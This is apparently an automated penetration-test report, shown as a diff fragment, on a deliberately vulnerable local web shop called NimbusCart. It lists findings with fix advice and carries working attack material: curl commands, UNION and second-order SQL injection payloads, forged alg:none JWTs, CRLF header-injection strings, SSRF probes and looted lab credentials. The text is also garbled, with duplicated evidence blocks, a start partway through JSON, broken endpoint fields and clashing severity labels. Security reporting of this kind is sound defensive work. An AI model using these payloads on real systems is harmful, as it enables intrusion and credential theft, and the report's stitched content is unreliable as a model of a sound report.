+ "status": 200,
+ "url": "http://localhost:3000/shop/search?q="
+ },
+ "baseline": null,
+ "browser_executed": false,
+ "callback_received": false,
+ "identity_a": null,
+ "identity_b": null,
+ "marker": "",
+ "marker_observed": false,
+ "notes": [],
+ "repeats": [
+ {
+ "body": "\n\n\n\n\nSearch · NimbusCart\n\n\n\n\n\n
Second-order SQLi (profile bio -> admin search) chained to admin-panel compromise via looted credential
Low
confirmed
A03:2021-Injection
17
Reflected DOM XSS lead: /?name= sink written to innerHTML in /app.js
Low
needs-review
A03:2021-Injection
18
IDOR at GET /account/invoice/:id — customer reads other customers' invoices
Info
needs-review
A01:2021-Broken-Access-Control
19
IDOR at GET /account/invoice/:id — customer reads other customers' invoices
Info
needs-review
A01:2021-Broken-Access-Control
20
Time-based blind SQL injection at POST /support/feedback (comment field)
Info
needs-review
A03:2021-Injection
21
Privilege misassignment: GET /account/api-token mints a role:admin JWT for a normal customer
Info
needs-review
A04:2021-Insecure-Design
22
Test accounts created during the engagement (DELETE after)
Info
needs-review
A04:2021-Insecure-Design
Findings (22)
Critical 1. BOLA at GET /api/v2/users/:id — customer JWT reads any user's full record incl cleartext admin password
Criticality
Critical
Status
confirmed
OWASP / CWE
A01:2021-Broken-Access-Control · CWE-639
Confidence
1/1 · refute 1/2 · conf 0.70
Location
http://localhost:3000/api/v2/users/:id
Agent
idor
Where the problem is
http://localhost:3000/api/v2/users/:id — Path parameter `:id` in GET /api/v2/users/:id; Authorization: Bearer <customer JWT>. No object-level owner check.
What it means
Measured: a role=customer token (id=76) returned HTTP 200 with the complete internal record of a different customer (id=77) and of the admin (id=1), each including a cleartext `password` and live `apiKey`. Concretely retrieved admin credentials admin@nimbuscart.test / SuperSecretAdmin!2024 and apiKey nk_live_51Hc9adminSECRETkeydonot_share — full account-takeover material for every user. Endpoint also over-returns password/apiKey the UI never needs (excessive data exposure).
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
How to fix it
Enforce server-side object-level authorization: reject unless the JWT subject == :id or the caller holds an admin role. Remove `password` and `apiKey` from the serialized response entirely (never expose credential fields via API).
Critical 2. JWT signature not verified — alg:none / forged token accepted at /api/v2/*
Criticality
Critical
Status
confirmed
OWASP / CWE
A04:2021-Insecure-Design · CWE-347
Confidence
1/1 · refute 1/2 · conf 0.60
Location
GET http://localhost:3000/api/v2/users/:id
Agent
chain
Where the problem is
GET http://localhost:3000/api/v2/users/:id
What it means
Attacker mints arbitrary tokens (any id/role) without the secret — full API authentication/authorization bypass, independent of NS-04.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
How to fix it
Reject alg=none; pin alg=HS256 server-side; verify signature with a strong secret; validate claims.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/api/v2/users/:id'
ATTACK
+ GET http://localhost:3000/api/v2/users/:id → 200
+ body (329 bytes, excerpt):
+ Forged unsigned token header {"alg":"none"} with body {id:999,username:pwn,role:admin} and NO signature -> GET /api/v2/users/1 and /2 returned HTTP 200 with full records; reproduced twice (200/200). Baseline without token -> {"error":"missing bearer token"}. Server does not validate the HS256 signature. pocs/jwt_alg_none_api.sh
+
+AGENT-RECORDED EVIDENCE
+Forged unsigned token header {"alg":"none"} with body {id:999,username:pwn,role:admin} and NO signature -> GET /api/v2/users/1 and /2 returned HTTP 200 with full records; reproduced twice (200/200). Baseline without token -> {"error":"missing bearer token"}. Server does not validate the HS256 signature. pocs/jwt_alg_none_api.sh
Runnable script (extra)
The steps above are the proof; this script automates them.
Critical 3. BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin password & apiKey
Criticality
Critical
Status
confirmed
OWASP / CWE
A01:2021-Broken-Access-Control · CWE-639
Confidence
1/1 · refute 0/2 · receipt_missing · conf 0.60
Location
GET http://localhost:3000/api/v2/users/{1..5}
Agent
chain
Where the problem is
GET http://localhost:3000/api/v2/users/{1..5}
What it means
Any authenticated customer reads every user's full internal record (cleartext password + live apiKey + balance) — mass account/API-key takeover.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
How to fix it
Enforce object-level authorization (requester id == :id or admin); strip password/apiKey from API responses.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/api/v2/users/{1..5}'
ATTACK
+ GET http://localhost:3000/api/v2/users/{1..5} → 200
+ body (318 bytes, excerpt):
+ Own customer token (decoded {id:90,role:customer}) reads id=1 admin: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, balance=500000; and ids 2-5 (alice/bob/carol/nsuserA) full records. Flag BURPAT{api_excessive_data_users_17874d4a}. No object-level authz check. pocs/bola_api_v2_users.sh
+
+AGENT-RECORDED EVIDENCE
+Own customer token (decoded {id:90,role:customer}) reads id=1 admin: password=SuperSecretAdmin!2024, apiKey=nk_live_51Hc9adminSECRETkeydonot_share, balance=500000; and ids 2-5 (alice/bob/carol/nsuserA) full records. Flag BURPAT{api_excessive_data_users_17874d4a}. No object-level authz check. pocs/bola_api_v2_users.sh
Runnable script (extra)
The steps above are the proof; this script automates them.
Anonymous attacker reaches full admin panel by chaining SQLi leak with credential reuse.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited)
How to fix it
Fix SQLi (NS-01); rotate admin credentials; enforce MFA on admin.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s -X POST \
+ --data-raw 'username=admin&password=SuperSecretAdmin!2024 (password obtained from NS-01)' \
+ '/admin'
Payload used:
+username=admin&password=SuperSecretAdmin!2024 (password obtained from NS-01)
Payload
username=admin&password=SuperSecretAdmin!2024 (password obtained from NS-01)
Technical evidence
ATTACK
+ POST /admin → 200
+ body (179 bytes, excerpt):
+ Reused SQLi-looted cred: POST /login -> 302 Location: /account with session cookie; GET /admin -> 200 '<h1>Admin Panel'. Anonymous GET /admin is gated. pocs/union_sqli_to_admin.sh
+
+AGENT-RECORDED EVIDENCE
+Reused SQLi-looted cred: POST /login -> 302 Location: /account with session cookie; GET /admin -> 200 '<h1>Admin Panel'. Anonymous GET /admin is gated. pocs/union_sqli_to_admin.sh
Runnable script (extra)
The steps above are the proof; this script automates them.
High 5. BOLA/IDOR: any authenticated customer reads other customers' invoices at GET /account/invoice/:id
Criticality
High
Status
confirmed
OWASP / CWE
A01:2021-Broken-Access-Control · CWE-639
Confidence
1/1 · refute 1/2 · conf 0.70
Location
GET http://localhost:3000/account/invoice/:id
Agent
bola
Where the problem is
GET http://localhost:3000/account/invoice/:id — Path parameter `:id` on GET /account/invoice/:id (session cookie nimbus.sid). Sequential ids ~1001+. Server renders the invoice without verifying the logged-in user owns it.
What it means
Measured: an authenticated customer who owns zero invoices read invoices #1001/#1002/#1003 belonging to alice, bob and carol — exposing each customer's name and order total. Incrementing the sequential id enumerates all customers' billing records. No write attempted.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
How to fix it
Add server-side ownership check on GET /account/invoice/:id: load the invoice, then require invoice.userId === req.session.user.id (or an admin role) before rendering; return 403/404 otherwise. Use unguessable ids only as defence-in-depth, not as the control.
GET /account/invoice/1001 (owner alice), /1002 (bob), /1003 (carol) while logged in as customer id 78/79
Technical evidence
ATTACK
+ GET http://localhost:3000/account/invoice/:id → 200
+ body (469 bytes, excerpt):
+ Logged-in customer A (id 78) GET /account/invoice/1001 -> HTTP 200, body: 'Customer: alice', 'Total: $29.99', app's own banner 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same for 1002=bob ($89.99), 1003=carol ($349.00). Reproduced with a second independent account (B, id 79). Unauthenticated request -> 302 to login (auth is required; ownership is not). PoC: pocs/bola_invoice.sh
+
+AGENT-RECORDED EVIDENCE
+Logged-in customer A (id 78) GET /account/invoice/1001 -> HTTP 200, body: 'Customer: alice', 'Total: $29.99', app's own banner 'IDOR confirmed: viewing another customer's invoice (owner: alice) without authorization. Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same for 1002=bob ($89.99), 1003=carol ($349.00). Reproduced with a second independent account (B, id 79). Unauthenticated request -> 302 to login (auth is required; ownership is not). PoC: pocs/bola_invoice.sh
Runnable script (extra)
The steps above are the proof; this script automates them.
High 6. HTTP Response Splitting (CRLF header injection) at GET /go?url=
Criticality
High
Status
confirmed
OWASP / CWE
A03:2021-Injection · CWE-113
Confidence
1/1 · refute 1/2 · conf 0.70
Location
http://localhost:3000/go?url=
Agent
response_splitting
Where the problem is
http://localhost:3000/go?url= — GET /go, query parameter `url` — value copied verbatim into the `Location` response header without stripping CR (%0d) / LF (%0a)
What it means
Attacker fully controls the response header block via a crafted link. Measured: arbitrary custom header (X-Injected) and arbitrary Set-Cookie injected into a 302 response. This enables cookie fixation (forced session/attribute cookies), and — combined with the existing open redirect on the same param — header-based cache poisoning / client-state manipulation against any victim who follows the link.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.5 if fully exploited)
How to fix it
Do not place raw user input into header values. Strip/reject CR (\r), LF (\n) and %0d/%0a in `url` before building the `Location` header; use the framework's safe redirect API (res.redirect with a validated absolute URL from an allowlist) which encodes header values. Combine with a redirect-target allowlist to also close the open redirect.
GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171 (and ...%0d%0aSet-Cookie:%20inj=1)
Technical evidence
ATTACK
+ GET http://localhost:3000/go?url= → 200
+ body (420 bytes, excerpt):
+ Baseline `GET /go?url=https://example.com` -> HTTP/1.1 302, `Location: https://example.com`. Attack `GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171` -> HTTP/1.1 302 with a NEW response header `X-Injected: ns4171` appearing after Location. Second payload `...%0d%0aSet-Cookie:%20inj=1` produced response header `Set-Cookie: inj=1`. CR/LF is decoded server-side, not encoded/stripped. Reproduced 2x identically.
+
+AGENT-RECORDED EVIDENCE
+Baseline `GET /go?url=https://example.com` -> HTTP/1.1 302, `Location: https://example.com`. Attack `GET /go?url=https://example.com%0d%0aX-Injected:%20ns4171` -> HTTP/1.1 302 with a NEW response header `X-Injected: ns4171` appearing after Location. Second payload `...%0d%0aSet-Cookie:%20inj=1` produced response header `Set-Cookie: inj=1`. CR/LF is decoded server-side, not encoded/stripped. Reproduced 2x identically.
High 7. IDOR at GET /account/invoice/:id — customer reads other customers' invoices
Criticality
High
Status
confirmed
OWASP / CWE
A01:2021-Broken-Access-Control · CWE-639
Confidence
1/1 · refute 1/2 · receipt_missing · conf 0.20
Location
GET http://localhost:3000/account/invoice/{1001,1002,1003}
Agent
chain
Where the problem is
GET http://localhost:3000/account/invoice/{1001,1002,1003}
What it means
Cross-customer disclosure of invoices (names, order totals, line items) by incrementing sequential ids.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited)
How to fix it
Scope invoice lookup to the authenticated user's own records.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/account/invoice/{1001,1002,1003}'
Payload used:
+authenticated customer (id=90) session cookie; iterate invoice id
Payload
authenticated customer (id=90) session cookie; iterate invoice id
Low 8. JWT signature bypass via alg:none — anonymous admin object access at GET /api/v2/users/:id NEEDS REVIEW
Criticality
Low
Status
needs-review
OWASP / CWE
A04:2021-Insecure-Design · CWE-347
Confidence
1/1 · refute 1/2 · conf 0.60
Location
GET http://localhost:3000/api/v2/users/1
Agent
chain
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity
Where the problem is
GET http://localhost:3000/api/v2/users/1
What it means
Observed:
+- attack GET http://localhost:3000/api/v2/users/1 → 200 (438 bytes) [E01]
+- pocs/jwt_none_authbypass.sh — forged unsigned token (alg:none, id:1, role:admin, empty signature) accepted: returned admin full record {password:'SuperSecretAdmin!2024', apiKey:'nk_live_51Hc9adminSECRETkeydonot_share'}. Control HS256 token with junk sig rejected ('invalid signature'). No credentials used. evidence_ledger E01: forged alg:none -> HTTP 200 admin JSON; E02: junk HS256 sig -> {"error":"invalid signature"}. Reproduced 2x. [E02]
+
+Not demonstrated: Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys).
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
+The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.
+
+Potential impact: Unauthenticated full account takeover of any user incl admin; server verifies HS256 sig but honors alg:none, so any attacker mints an admin token and reads every user record (plaintext passwords + API keys).
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
How to fix it
Reject alg:none; pin allowed algorithm to HS256 server-side; never derive verification alg from the token header.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/api/v2/users/1'
Low 9. BOLA + excessive data exposure at GET /api/v2/users/:id — customer token reads any user incl admin cleartext… NEEDS REVIEW
Criticality
Low
Status
needs-review
OWASP / CWE
A01:2021-Broken-Access-Control · CWE-639
Confidence
1/1 · refute 0/2 · receipt_missing · conf 0.60
Location
GET http://localhost:3000/api/v2/users/1
Agent
chain
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity
Where the problem is
GET http://localhost:3000/api/v2/users/1
What it means
Observed:
+- attack GET http://localhost:3000/api/v2/users/1 → 200 (432 bytes) [E01]
+- Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh [E02]
+
+Not demonstrated: Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -> full account takeover.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
+The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.
+
+Potential impact: Any authenticated customer enumerates all users and harvests cleartext admin/customer passwords + API keys -> full account takeover.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
How to fix it
Enforce object-level authorization (token subject == :id or admin). Never return password/apiKey fields to clients.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/api/v2/users/1'
Payload used:
+Authorization: Bearer <customer JWT id=89> -> GET /api/v2/users/1
Payload
Authorization: Bearer <customer JWT id=89> -> GET /api/v2/users/1
Technical evidence
ATTACK
+ GET http://localhost:3000/api/v2/users/1 → 200
+ body (432 bytes, excerpt):
+ Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh
+
+AGENT-RECORDED EVIDENCE
+Registered customer nrsplt_26628 (JWT id=89, role=customer). GET /api/v2/users/1 with that token returned: {"id":1,"username":"admin",...,"password":"SuperSecretAdmin!2024","role":"admin","apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. Also id=2 alice password alice123. Identity A (id 89) read Identity B (id 1) full record; no ownership check. PoC: pocs/bola_api_v2_users.sh
Runnable script (extra)
The steps above are the proof; this script automates them.
Low 10. UNION-based SQL injection at GET /shop/search?q= — full user table with cleartext passwords exfiltrated NEEDS REVIEW
Criticality
Low
Status
needs-review
OWASP / CWE
A03:2021-Injection · CWE-89
Confidence
1/1 · refute 0/2 · receipt_missing · conf 0.60
Location
GET http://localhost:3000/shop/search?q=
Agent
api_bola_numeric_ids
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs data_returned which this assessment could not reach; the mechanic stands · missing: no baseline was captured, so no difference can be attributed to the payload
Where the problem is
GET http://localhost:3000/shop/search?q= — Query parameter `q` on GET /shop/search. Concatenated into a `SELECT name, price, desc FROM products WHERE ...` (3 output columns). Single-quote breaks out; `-- -` / `#` comment. Unauthenticated.
What it means
Observed:
+- attack GET http://localhost:3000/shop/search?q= → 200 (378 bytes) [E01]
+- Baseline q=phone -> 1 product row (Noise Cancelling Headphones). Attack q=' UNION SELECT username,password,role FROM users-- - -> table of 80+ rows: admin|SuperSecretAdmin!2024|admin, alice|alice123|admin, bob|bobrocks|customer, carol|carolpw|customer, ... (bulk masked). Reproduced 2x identical. Screenshot: evidence/union-sqli-shop-users-dump.png. PoC: pocs/union_sqli_shop.sh [E02]
+
+Not demonstrated: MEASURED: unauthenticated dump of the entire `users` table including cleartext passwords for admin and all customers. Directly yields admin credentials -> full compromise.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
+The assessment could not verify data returned — so this remains a potential impact rather than a demonstrated one.
+
+Potential impact: MEASURED: unauthenticated dump of the entire `users` table including cleartext passwords for admin and all customers. Directly yields admin credentials -> full compromise.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
How to fix it
Use parameterised/prepared statements for the search query; never string-concatenate `q`. Store passwords hashed. Add a least-privilege DB account.
Low 11. Second-order SQL injection — payload stored in profile bio executes inside admin GET /admin/search-users
Criticality
Low
Status
confirmed
OWASP / CWE
A03:2021-Injection · CWE-89
Confidence
1/1 · refute 0/2 · receipt_missing · conf 0.20
Location
sink: GET http://localhost:3000/admin/search-users?q= ; source: POST http://localhost:3000/account/profile (field `bio`)
Agent
api_bola_numeric_ids
Where the problem is
sink: GET http://localhost:3000/admin/search-users?q= ; source: POST http://localhost:3000/account/profile (field `bio`) — Source: field `bio` on POST /account/profile (any customer). Sink: GET /admin/search-users (admin-only) re-uses stored `bio` values unsanitised in its query (columns username,email,role,bio). A stored `' UNION SELECT ... FROM users-- -` in bio fires when an admin runs the search.
What it means
Observed:
+- attack GET `bio`) → 200 (523 bytes) [E01]
+- As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -> output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh [E02]
+
+Not demonstrated: MEASURED: a low-privilege customer's stored `bio` altered the admin-only user-search query and dumped the full user table within the admin's session; my unique marker in the output proves the stored input executed server-side. Enables privilege-boundary-crossing data theft / query manipulation triggered by an admin.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
+The assessment could not verify command output observed, data returned — so this remains a potential impact rather than a demonstrated one.
+
+Potential impact: MEASURED: a low-privilege customer's stored `bio` altered the admin-only user-search query and dumped the full user table within the admin's session; my unique marker in the output proves the stored input executed server-side. Enables privilege-boundary-crossing data theft / query manipulation triggered by an admin.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
How to fix it
Parameterise the /admin/search-users query and treat all stored fields (bio) as data, not SQL. Encode on read; never re-embed stored values into new statements by concatenation.
curl -s -b j -X POST http://localhost:3000/account/profile --data-urlencode "bio=zz' UNION SELECT 'NS_OP_PROOF','pw','pwned','x' FROM users-- -" # store payload
curl -s -c ja -X POST http://localhost:3000/login --data-urlencode username=admin --data-urlencode 'password=SuperSecretAdmin!2024' # admin (creds from the BOLA/UNION findings)
curl -s -b ja 'http://localhost:3000/admin/search-users?q=nrsplt' | grep -E 'NS_OP_PROOF|second-order|BURPAT' # marker + full-table dump in admin context
Payload
bio = zz' UNION SELECT 'NS_OP_PROOF_4171',password,'pwned','x' FROM users WHERE username='admin'-- -
Technical evidence
ATTACK
+ GET `bio`) → 200
+ body (523 bytes, excerpt):
+ As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -> output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh
+
+AGENT-RECORDED EVIDENCE
+As customer nrsplt_4095 I POSTed the above bio. Admin then hit GET /admin/search-users?q=nrsplt_4095 -> output contained my marker 'NS_OP_PROOF_4171' AND app banner: 'Second-order SQL injection confirmed - a stored bio (from ... nrsplt_4095) altered this unrelated query and dumped the full user table. Flag: BURPAT{web_sqli_second_order_01271d93}'. Marker attribution proves attacker-controlled input executed in the admin context. Screenshot: evidence/second-order-sqli-admin-search.png. PoC: pocs/secondorder_sqli_bio.sh
Proof screenshots
evidence/second-order-sqli-bio-1.png
Runnable script (extra)
The steps above are the proof; this script automates them.
Low 12. SSRF at POST /account/invoice/:id/export-pdf via letterheadUrl — server fetches arbitrary URL and reflects… NEEDS REVIEW
Criticality
Low
Status
needs-review
OWASP / CWE
A10:2021-SSRF · CWE-918
Confidence
1/1 · refute 1/2 · conf 0.60
Location
POST http://localhost:3000/account/invoice/1001/export-pdf
Agent
chain
⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs command_output_observed which this assessment could not reach; the mechanic stands · missing: a blind class needs a channel the harness controls to observe the callback
Where the problem is
POST http://localhost:3000/account/invoice/1001/export-pdf
What it means
Observed:
+- attack POST http://localhost:3000/account/invoice/1001/export-pdf → 200 (442 bytes) [E01]
+- Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -> response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -> reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.sh [E02]
+
+Not demonstrated: Authenticated customer forces server to fetch internal/loopback/metadata URLs and reads the response body -> internal service access, potential cloud metadata credential theft where reachable.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
+The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one.
+
+Potential impact: Authenticated customer forces server to fetch internal/loopback/metadata URLs and reads the response body -> internal service access, potential cloud metadata credential theft where reachable.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
How to fix it
Allowlist letterhead hosts/schemes (https only, no RFC1918/link-local), block redirects, do not reflect fetched body/errors.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s -X POST \
+ --data-raw 'letterheadUrl=http://127.0.0.1:9137/nsprobe' \
+ 'http://localhost:3000/account/invoice/1001/export-pdf'
ATTACK
+ POST http://localhost:3000/account/invoice/1001/export-pdf → 200
+ body (442 bytes, excerpt):
+ Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -> response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -> reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.sh
+
+AGENT-RECORDED EVIDENCE
+Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -> response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -> reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.sh
Runnable script (extra)
The steps above are the proof; this script automates them.
Observed:
+- attack GET http://localhost:3000/app.js → 200 (400 bytes) [E01]
+- Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.) [E02]
+
+Not demonstrated: Leaked internal bearer token likely grants privileged support-tooling access; QA build exposes non-prod behavior.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
+
+Potential impact: Leaked internal bearer token likely grants privileged support-tooling access; QA build exposes non-prod behavior.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
How to fix it
Remove secrets from client code, rotate the token, move config server-side.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/app.js'
Payload used:
+GET /app.js
Payload
GET /app.js
Technical evidence
ATTACK
+ GET http://localhost:3000/app.js → 200
+ body (400 bytes, excerpt):
+ Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.)
+
+AGENT-RECORDED EVIDENCE
+Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.)
GET http://localhost:3000/app.js ; GET /developers
Agent
chain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns CWE-798
Where the problem is
GET http://localhost:3000/app.js ; GET /developers
What it means
Observed:
+- attack GET /developers → 200 (276 bytes) [E01]
+- app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.) [E02]
+
+Not demonstrated: Long-lived internal tokens/keys exposed to any anonymous visitor; usable if any endpoint trusts them.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
+
+Potential impact: Long-lived internal tokens/keys exposed to any anonymous visitor; usable if any endpoint trusts them.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
How to fix it
Remove secrets from client assets and public docs; rotate the leaked tokens.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ '/developers'
Payload used:
+n/a (static disclosure)
Payload
n/a (static disclosure)
Technical evidence
ATTACK
+ GET /developers → 200
+ body (276 bytes, excerpt):
+ app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.)
+
+AGENT-RECORDED EVIDENCE
+app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.)
